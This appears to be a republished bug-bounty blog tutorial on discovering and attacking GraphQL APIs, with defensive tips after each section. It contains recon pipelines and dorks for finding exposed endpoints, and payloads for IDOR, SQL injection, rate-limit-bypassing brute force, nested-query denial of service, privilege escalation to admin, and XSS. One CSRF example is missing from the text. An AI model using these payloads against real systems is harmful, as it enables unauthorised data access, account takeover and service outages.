GraphQL Hacking 101: Finding and Exploiting APIs for Fun and Profit

1 month ago 26

BOOK THIS SPACE FOR AD

ARTICLE AD

GraphQL is like the shiny new tool in the developer’s kit — flexible, efficient, and a bit mysterious. It allows you to ask for just the data you need (think of it like an à la carte menu where you get exactly what you want, no more, no less). But just like any shiny tool, GraphQL can have a sharp edge if not handled properly, especially when security measures are overlooked.

In this post, we’ll take a sneak peek into finding GraphQL endpoints, uncovering interesting security vulnerabilities, and some neat tricks to defend against common attack vectors.

Ever feel like a detective sniffing out clues on the internet? Well, Google dorking is your magnifying glass. By carefully crafting some search queries, you can find exposed GraphQL endpoints that are just waiting to spill their secrets.

Introducing the Bounty Search Engine— a custom-built tool to automate Google dorking specifically for bug bounty and security research.

What sets it apart?

Bypassing Google’s anti-bot protection: No more worrying about CAPTCHAs and rate limiting.Enhanced anonymity: The tool operates stealthily, leaving no trace and protecting your identity during recon.Prebuilt dork queries: Just type in your target, and it’ll do the rest.

Here are a few dorks to get you started:

Look for GraphQL Playground (because devs love to leave the door open 😈)

inurl:"/graphql" intitle:"GraphQL Playground"

Find GraphiQL IDEs on the web

inurl:"/graphql" intitle:"GraphiQL"

GraphQL schemas hiding in plain sight

"graphql" filetype:json OR filetype:html

Search for GraphQL Playground:

http.title:"GraphQL Playground"

Look for /graphql endpoints:

http.html:"/graphql"

Identify GraphQL endpoints via automated Shodan dorks:

cat wildcards.txt | sXtract -ip -q http.title:\"GraphQL Playground\""

With these dorks, you can stumble upon all sorts of GraphQL endpoints that developers didn’t intend for the world to see. It’s like finding a hidden stash of candy.

Step 1: Enumerating Subdomains

The first task is to enumerate all the subdomains of a target domain. Subdomain enumeration expands your attack surface by revealing additional entry points where GraphQL might be running.

Tools like Subfinder, BBOT, and Amass are perfect for discovering subdomains, and we’ll combine this with dnsx and httpx to probe for live servers.

Step 2: Probing Subdomains for GraphQL Endpoints

Once you have a list of subdomains, the next step is to scan them for live web services. By focusing on the most common ports where GraphQL APIs might be running (e.g., 80, 443, 8080, 3000, 4000, and 5000), you can efficiently narrow down potential targets.

Here’s a practical command to automate this process:

cat wildcards.txt | subfinder -all -silent | dnsx -threads 300 -r path/to/resolver -silent | httpx -threads 300 -mc 200 -random-agent -nc -ports <ports> | anew subdomains.txt

Explanation:

wildcards.txt: This file contains the target's domain or known wildcard subdomains.subfinder -all -silent: Subfinder fetches subdomains from a variety of sources. The -all flag ensures you get every possible result by using all sources for enumeration, while -silent suppresses verbose output.dnsx -threads 300 -r path/to/resolver : This checks if the subdomains are valid by performing DNS resolution. Increasing threads with -threads 300 speeds up the process.httpx -threads 300 -mc 200 -random-agent -nc -ports 80,443,8080,3000,4000,5000: This command checks if the subdomains are hosting web services by probing specific ports. It looks for a 200 response code (-mc 200), and the -random-agent flag sends random user agents to avoid detection.anew subdomains.txt: The anew tool ensures only unique subdomains are added to subdomains.txt, avoiding duplicates.

Extra Step 3: Enumerating ASNs to find even more assets

Once you have a list of wildcards or domains, the next logical step is to enumerate Autonomous System Numbers (ASNs) to expand your attack surface. ASNs are blocks of IP addresses owned by organizations, and targeting them can uncover additional assets that might not be directly linked to the domain.

You can use the combination of dtoconv and getasn to convert the domains into organizations, fetch the corresponding ASNs, and then map the IP ranges and services exposed by those ASNs.

cat wildcards.txt | dtoconv | getasn | asnmap -silent | tlsx -san -cn -silent -resp-only

In this pipeline:

wildcards.txt contains domains or wildcard subdomains.dtoconv converts the domains to their corresponding organizations.getasn fetches the ASNs for those organizations.asnmap maps the IP ranges associated with those ASNs.tlsx probes the IPs for SSL certificates and subdomains, giving you more assets to investigate.

By chaining these tools, you can enumerate subdomains, identify IP ranges, and uncover additional services exposed by the organization, expanding your reconnaissance significantly.

Step 4: Probing for GraphQL Endpoints using Nuclei

After gathering all those attractive subdomains, the next step is to probe them for exposed GraphQL endpoints. GraphQL endpoints can be a treasure trove of sensitive information if not secured properly, and using tools like Nuclei can help automate this discovery.

Nuclei allows you to scan for GraphQL endpoints using prebuilt detection templates. In this case, you can use the graphql-detect template to identify any GraphQL services running on your subdomains.

Example:

cat subdomains.txt | nuclei -nh -id graphql-detect -H "Mozilla/5.0 (Android 10; Mobile; rv:128.0) Gecko/128.0 Firefox/128.0" -H "X-Forwarded-For: 127.0.0.1" -H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" -silent | anew nuclei.txtsubdomains.txt contains the subdomains you're targeting.nuclei with the graphql-detect template scans for GraphQL endpoints.The -H flags set custom headers to mimic a legitimate browser request, which can help bypass certain filters or WAF rules.anew stores unique results in nuclei.txt, so you don’t get duplicates.

This step helps you quickly identify exposed GraphQL endpoints, which you can then probe further for vulnerabilities like insecure introspection or sensitive data leaks.

Step 5: Testing the GraphQL Endpoint for Basic Queries

If Nuclei detects any GraphQL endpoints, you’ll get output like this:

https://api.example.com/graphql

Now that you’ve found a GraphQL endpoint, let’s start with a basic query to confirm that it’s active. You can do this using either GET or POST requests.

GET Request Example:

Send the query as a parameter in the URL:

https://api.example.com/graphql?query=query{__typename}POST Request Example:

Send the query in the body of the POST request:

curl -X POST https://api.example.com/graphql -d 'query=query{__typename}'

If the endpoint is active, you’ll get a response like:

{
"data": {
"__typename": "Query"
}
}

This confirms the endpoint is live and ready for more fun.

Step 6: Exploiting Introspection to Enumerate the Schema

Now comes the exciting part — schema introspection. If introspection is enabled, you can request a dump of the entire schema. This is like asking the API to give you its entire blueprint, including all the types, queries, and mutations it supports.

Here’s the introspection query:

{
__schema {
types {
name
fields {
name
args {
name
description
type {
name
kind
ofType {
name
kind
}
}
}
}
}
}
}

You can send this query using curl or a tool like Postman or GraphQL Playground:

curl -X POST https://api.example.com/graphql -d 'query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name,kind}}}}}}}'

If introspection is enabled, you’ll get back a JSON response containing all the types and fields defined in the schema. This data is a goldmine for attackers.

Step 7: Visualizing the Schema with GraphQL Voyager

Looking at the schema in JSON format is helpful but can be overwhelming. To make life easier, you can paste the returned schema into GraphQL Voyager, a tool that will create a visual map of the entire schema, showing relationships between different objects and fields.

Using GraphQL Voyager:

Copy the introspection JSON response.Go to GraphQL Voyager and paste it in.Voila! You now have a visual graph of the API structure, making it much easier to see potential attack vectors.

This visual approach helps identify interesting fields like password, api, token, or even hidden mutation endpoints.

By probing a GraphQL endpoint and testing for introspection, you can gain valuable insights into the structure of the API, discover hidden fields, and potentially expose sensitive data. Tools like Nuclei help in the initial detection phase, while tools like GraphQL Voyager make it easy to visualize the entire schema. From there, you can plan your next steps — whether it’s testing for SQL injection, broken authentication, or IDOR vulnerabilities.

Understanding how to enumerate a GraphQL API’s schema is critical for both defenders and attackers. Make sure your introspection is disabled in production, and always be mindful of what data your GraphQL API exposes.

Imagine walking into a house party and someone hands you a list of every person there, what they do, and where they’re hiding. That’s introspection in GraphQL. You can query the API to get a complete schema of everything available, and it’s super helpful for developers. For attackers, though, it’s basically a VIP pass to explore everything.

Introspection Query to List Types:

{
__schema {
types {
name
}
}
}

This will give you a list of all available types, possibly exposing sensitive info or hidden fields that shouldn’t be available to the public. Oops.

Disable introspection in production: Sorry, the VIP list is closed. Keep introspection disabled once your API is live.Limit field exposure: Only expose what’s necessary. No need to give out more than what’s needed, right?

Insecure Direct Object References (IDOR) are like slipping into the wrong Zoom meeting and listening in because no one bothered to check if you had the right link. If the API doesn’t verify that you’re supposed to be there, you can access data you shouldn’t.

You’ve just found a GraphQL endpoint using a sneaky Shodan dork, and after some light introspection (pun intended), you find this tasty query:

{
users {
id
username
role
}
}

It’s like finding the guest list to an exclusive party, but here’s where things get really interesting. After seeing usernames like admin, you wonder—what if I can pull some other user data, like sensitive admin details?

The query for a specific user looks like this:

{
user(username: "admin") {
id
username
role
password
}
}

Boom, you’ve just pulled down the password of the admin user (if access controls aren’t in place). This is a classic IDOR scenario, where there’s no authorization check to see if you should even be able to look at the admin’s info.

Accessing Private User Information (Even When You Shouldn’t)

Imagine a social media API where users have public and private profiles. Let’s say the API has a query like this to fetch public data:

{
user(username: "john_doe") {
id
username
bio
}
}

This looks harmless enough, right? You’re just pulling public profile information. But what if there’s more data hidden behind the scenes — maybe the API allows fetching private information too, like email addresses or even credit card info? And what if there are no access controls preventing you from seeing that?

Here’s how you might exploit this:

{
user(username: "john_doe") {
id
username
bio
email
creditCardInfo
}
}

If the API doesn’t have proper checks in place, you might pull sensitive information that should never have been exposed.

If there’s no proper access control, congrats! You’re now snooping on other users like it’s 1999. 🕵️‍♂️

Enforce object-level access control: Check IDs! Make sure every query verifies that the user has permission to access the data they’re asking for.Authentication and RBAC: A good door policy is key. Only let authorized people into the right parts of the API.

Ah yes, the classic SQL Injection — like trying to sneak a little extra into your order when you know you shouldn’t. GraphQL, just like other APIs, can be vulnerable to SQL injection if user input isn’t handled properly.

Here’s where things get a little James Bond. Imagine a GraphQL query that looks harmless, but you, fellow hacker, know better. Let’s say the API lets you search for users like this:

{
user(username: "hacker") {
id
username
password
}
}

Naturally, you wonder: what if the back-end isn’t sanitizing inputs? So you give it a little nudge with this:

{
user(username: "hacker' OR '1'='1") {
id
username
password
}
}

Congratulations, you just pulled the data for every user in the system! This little SQL injection exploit happens because the input isn’t properly sanitized, allowing the query to break out of its expected context.

If the API doesn’t sanitize inputs, you could be getting more than you bargained for.

However, most mature GraphQL implementations use parameterized queries or ORMs that mitigate this risk. The attack vector might work on legacy or poorly coded systems but is uncommon in well-secured environments.

Sanitize inputs: Clean up after yourself! Ensure that any user inputs are properly validated.Input validation: Make sure users only submit the data you expect. No extra toppings allowed unless they’re on the menu.

Batching in GraphQL is the equivalent of throwing all your tasks at someone at once. “Do all this, please.” Sure, it’s efficient, but also prone to abuse. Attackers can send a huge batch of queries in one request and bypass rate limits (because, why not?).

Brute-Force Login via Batching

Let’s say you’re testing a GraphQL API for login functionality. The API restricts login attempts to five per second to prevent brute-force attacks. Normally, this is a good defense. But what if you could batch your login attempts?

Here’s an example of a batched request to bypass that rate limit:

[
{
"query": "mutation { login(username: \"admin\", password: \"password1\") { token } }"
},
{
"query": "mutation { login(username: \"admin\", password: \"password2\") { token } }"
},
{
"query": "mutation { login(username: \"admin\", password: \"password3\") { token } }"
},
{
"query": "mutation { login(username: \"admin\", password: \"password4\") { token } }"
}
]

This single batched request submits four login attempts in one shot. With this method, an attacker can bypass rate limits designed to protect against brute-forcing by cramming multiple queries into a single HTTP request. Imagine scaling this up with hundreds or thousands of passwords in one go — yikes!

Data Harvesting Through Batching

Imagine an API that restricts users to 10 requests per second, limiting how quickly you can pull data. If you’re up to no good and want to extract a lot of data quickly, you can batch those queries.

Here’s a batched request that grabs data for multiple users at once:

[
{
"query": "{user(id: 1) {id, username, email}}"
},
{
"query": "{user(id: 2) {id, username, email}}"
},
{
"query": "{user(id: 3) {id, username, email}}"
},
{
"query": "{user(id: 4) {id, username, email}}"
},
{
"query": "{user(id: 5) {id, username, email}}"
}
]

In a single request, the attacker retrieves data for five users. If this API doesn’t have query-level rate limiting, attackers can quickly harvest a large dataset without triggering any alarms. It’s like ordering 50 coffees at once and getting them before anyone else even places their order.

Denial of Service (DoS) with Large Batched Queries

Sometimes, attackers aren’t just after data — they’re after taking your API down. Using batching, attackers can craft resource-heavy queries that put a strain on your API. Imagine if every query in a batch required extensive processing:

[
{
"query": "{user(id: 1) {friends {friends {friends {friends {name}}}}}}"
},
{
"query": "{post(id: 123) {comments {author {posts {comments {author {posts {comments}}}}}}}}"
}
]

Each query asks for deeply nested data, which forces the server to process large, recursive requests. By batching these complex queries, the attacker can quickly overwhelm the API, leading to Denial of Service (DoS), where the server is too bogged down to respond to legitimate users.

It’s essential to note that DoS attacks through batching are much harder to execute on well-protected systems.

Limit Batch Sizes: Ensure there’s a cap on how many queries can be sent in a single batch. It’s like saying, “You can only order up to five coffees at once” — you can still batch requests, but you won’t be overwhelmed.Rate Limiting per Query: Even within a batched request, apply rate limiting to each individual query. This ensures that if someone tries to cram 50 queries into one request, they’ll still be throttled. Think of it like charging for each coffee in the order instead of the whole order at once.Timeouts on Complex Queries: Don’t let deeply nested or complex queries hang around forever. Implement timeouts so resource-intensive queries can’t bring the whole API down.

Ever heard of a recursive loop of doom? That’s what happens when an attacker abuses deeply nested queries in GraphQL. By crafting complex, resource-intensive queries, they can make your server work so hard it just wants to lie down for a nap.

Let’s say you’ve got a well-behaved API, but you know it’s possible to overload even the friendliest systems. Enter the Denial of Service (DoS) attack using deeply nested queries. Here’s the setup: you know there’s a friends field on the user object, and you can request it recursively:

For example:

{
user(id: 1) {
friends {
friends {
friends {
friends {
name
}
}
}
}
}
}

This seems innocent, right? Wrong. Each level of nesting can exponentially increase the load on the server. Before long, your one innocent query is making the server crawl. Do it a few more times, and the whole system could crash under the weight of all those friendly friends of friends. 🥲

This little monster can loop forever if your API allows it. Before you know it, your API is stuck in the forever loop of sadness.

Limit query depth: Set a hard limit on how deep queries can go. No one needs 50 levels of friends’ friends’ friends.Timeouts and throttling: Timeouts and rate limits are your API’s best friend when dealing with resource-heavy queries.

Mutations are how you change stuff in GraphQL. But with great power comes great responsibility. If you don’t lock them down, attackers can use mutations to escalate privileges. Imagine someone sneaking in an “admin” role while creating a user.

Let’s say you find a mutation to register users, and it looks like this:

» echo -n password | md5sum
5f4dcc3b5aa765d61d8327deb882cf99mutation {
registerUser(input: {
username: "attacker",
password: "5f4dcc3b5aa765d61d8327deb882cf99",
role: "user"
}) {
user {
username
role
}
}
}

But then you think: “Why settle for user-level access when I can be admin?” You modify the role:

mutation {
registerUser(input: {
username: "attackerAdmin",
password: "5f4dcc3b5aa765d61d8327deb882cf99",
role: "admin"
}) {
user {
username
role
}
}
}

Poof! You’re now an admin. If the API doesn’t enforce who can assign roles, attackers can elevate their privileges in just a few keystrokes.

Now they’re not just in the building — they’re running the show.

Restrict mutation access: Only the right people should be allowed to modify sensitive data.Validate inputs: Make sure the “role” field isn’t being tampered with. It’s not “admin” unless you say so!

Imagine being able to trick someone into unknowingly executing a query on your GraphQL API. That’s the essence of a CSRF attack. Here’s how it plays out:

You send a link or email to an unsuspecting user with an embedded request, such as:

When the user loads the image (or in this case, the malicious link), their browser sends the request with their cookies — giving you access to sensitive data they can access.

Implement CSRF tokens: Protect your mutations and queries by ensuring each request includes a CSRF token that verifies the request is genuine.SameSite cookies: Make sure your cookies are flagged with SameSite=strict to prevent them from being sent with cross-origin requests.

Cross-Site Scripting (XSS) vulnerabilities occur when an attacker can inject malicious scripts into a website, and the site unwittingly executes these scripts in a user’s browser. In GraphQL, this can happen if responses from queries or error messages are inserted into a web page without proper sanitization. Think of it like sneaking a script into a party — no one notices until it’s too late, and then everyone gets hacked.

XSS via Unsanitized GraphQL Responses

Imagine a scenario where a web application displays data from a GraphQL query directly on a page. If the query response includes user-generated content, such as a profile bio or comment, and the application fails to properly sanitize this content, an attacker can inject a malicious payload.

Here’s an example of a GraphQL query that pulls user bios, which are then displayed on the webpage:

{
user(username: "attacker") {
id
username
bio
}
}

If the attacker sets their bio to a malicious XSS payload, like this:

{
user(username: "attacker") {
bio: "<script>prompt('XSS')</script>"
}
}

The web application renders the bio directly into the page without sanitization, and boom — the script gets executed in the browser of anyone visiting the attacker’s profile. This could lead to cookie theft, session hijacking, or worse.

Scenario 2: XSS via Error Messages

Another potential attack vector is error messages. If invalid GraphQL arguments are reflected in the response without proper encoding, attackers can inject XSS payloads through error handling mechanisms. For example, take a query like this:

{
post(id: "abc") {
title
}
}

In this case, the id field is supposed to be an integer, but you’ve sent a string. If the GraphQL server generates an error message reflecting the invalid id back to you without proper encoding, an attacker can inject XSS like so:

{
post(id: "<script>prompt(1337)</script>") {
title
}
}

If this invalid argument is reflected in the error message, it may trigger an alert or execute any arbitrary JavaScript code, depending on how the error is handled.

XSS via Query Parameters in URLs

XSS can also occur if GraphQL query parameters are included in the URL and the web application does not sanitize them before rendering. For instance, if a URL like this is used:

/post?id='"><script>confirm(1337)</script>

And the page renders the id parameter in its HTML without encoding, it could result in an XSS vulnerability. However, if the page "breaks" or simply doesn't execute the script, this is a sign that the payload was not properly reflected or sanitized, but the vulnerability may still be present under different conditions or in other parts of the application.

Defense Against XSS in GraphQL

Sanitize Output: Ensure that any data returned from a GraphQL query that will be displayed in a web page is sanitized and properly encoded to prevent the execution of malicious code.Escape Error Messages: If your GraphQL API returns error messages containing user input, make sure that all error messages are properly escaped and encoded before being displayed in the frontend.Strict Content Security Policy (CSP): Implement a robust Content Security Policy that restricts which sources can execute JavaScript on your website.Input Validation: Ensure that GraphQL inputs are strictly validated based on type, format, and length. For example, ensure that the id parameter is always an integer and reject invalid data types outright.Sanitize Query Parameters: If your application takes query parameters directly from URLs or elsewhere and passes them into a GraphQL query, ensure those parameters are sanitized and encoded before being passed into the GraphQL resolver.Use Security Libraries: Utilize security-focused libraries such as DOMPurify to sanitize and clean any HTML or script content from user inputs.

When testing or developing GraphQL APIs, having a set of ready-to-go queries in your toolkit can save a lot of time. Below is a curated list of useful GraphQL queries with example payloads for common pentesting tasks.

Querying User Data

This query fetches basic user details such as id, username, and role:

{
users {
id
username
role
}
}

Example Response:

{
"data": {
"users": [
{
"id": 1,
"username": "elite",
"role": "user"
},
{
"id": 2,
"username": "admin",
"role": "admin"
}
]
}
}

Introspection Query to Explore API Schema

Introspection queries are your best friend when testing for schema disclosure. This query will list all types in the schema:

{
__schema {
types {
name
}
}
}

Example Response:

{
"data": {
"__schema": {
"types": [
{"name": "User"},
{"name": "Query"},
{"name": "Mutation"}
]
}
}
}

General Introspection Query

This more detailed query provides a comprehensive view of all the queries, mutations, and types defined in the schema:

query IntrospectionQuery {
__schema {
queryType { name }
mutationType { name }
types {
...FullType
}
}
}

fragment FullType on __Type {
kind
name
fields {
name
type {
name
}
}
}

Example Response:

{
"data": {
"__schema": {
"queryType": {"name": "Query"},
"mutationType": {"name": "Mutation"},
"types": [
{
"name": "User",
"fields": [
{"name": "id", "type": {"name": "ID"}},
{"name": "username", "type": {"name": "String"}},
{"name": "role", "type": {"name": "String"}}
]
}
]
}
}
}

Batching Example

Batching allows you to send multiple queries in a single request, which could be useful for efficiency or, in some cases, for exploiting APIs that lack rate-limiting:

[
{
"query": "{user(username: \"admin\") {uuid}}"
},
{
"query": "{post(id: 1) {title}}"
}
]

Example Response:

[
{
"data": {
"user": {
"uuid": "1234-1337"
}
}
},
{
"data": {
"post": {
"title": "How to Secure GraphQL"
}
}
}
]

Mutation Example

Mutations are used to modify data. This mutation creates a new user:

» echo -n exploit | md5sum
708697c63f7eb369319c6523380bdf7amutation {
registerUser(input: {
username: "newuser",
password: "708697c63f7eb369319c6523380bdf7a",
role: "user"
}) {
user {
username
role
}
}
}

Example Response:

{
"data": {
"registerUser": {
"user": {
"username": "newuser",
"role": "user"
}
}
}
}

Payload Example: Fetching Sensitive Data

You can customize queries to extract sensitive information if you spot weak access controls:

{
users {
id
username
password
}
}

Example Response:

{
"data": {
"users": [
{
"id": 1,
"username": "hacker",
"password": "hashedpassword123"
},
{
"id": 2,
"username": "admin",
"password": "adminpass456"
}
]
}
}

Query for Available Mutations

To see all mutations supported by the API, use this query:

{
__schema {
mutationType {
fields {
name
args {
name
type {
name
}
}
}
}
}
}

This will return all available mutations and the arguments they accept. This is a great way to identify potential attack vectors, especially if there are mutations like deleteUser, updatePassword, etc.

GraphQL is the superpower you didn’t know your API needed, but with that power comes potential for misuse. Whether it’s introspection spilling secrets, SQL injections sneaking in, or DoS attacks through deep queries, there are plenty of ways things can go wrong if you’re not careful.

But with a bit of know-how, some defense strategies, and a sense of humor, you can keep your GraphQL API safe from the dark side. Now go forth, secure your endpoints, and remember: always disable introspection in production. Or, you know, hand out free VIP passes to anyone with a browser. Your call. 😉

For more tips on securing your API, check out the

graphw00f — is a tool that fingerprints GraphQL endpoints and identifies the GraphQL engine behind them.graphql-voyager — is an interactive visualization tool that helps you explore and understand your GraphQL API’s schema.GraphQL-Cop — is a security auditing tool for GraphQL endpoints.InQL — is a powerful security tool that helps with GraphQL API enumeration and security testing. It’s available as a standalone command-line tool or as a Burp Suite extension.GraphQL Security Cheat Sheet — is a comprehensive guide to securing GraphQL APIs.Web Security Academy — by PortSwigger (the creators of Burp Suite) offers free, interactive labs to practice and learn about various web security vulnerabilities, including GraphQL-specific scenarios.Hacktricks — is a comprehensive knowledge base for penetration testers and security professionals.GraphQL Threat Matrix — is a community-maintained project that categorizes security risks and attack vectors across various GraphQL engines.Apollo GraphQL Security Best Practices — provides a list of best practices specifically tailored to its implementation.

Happy hacking! 😎

Read Entire Article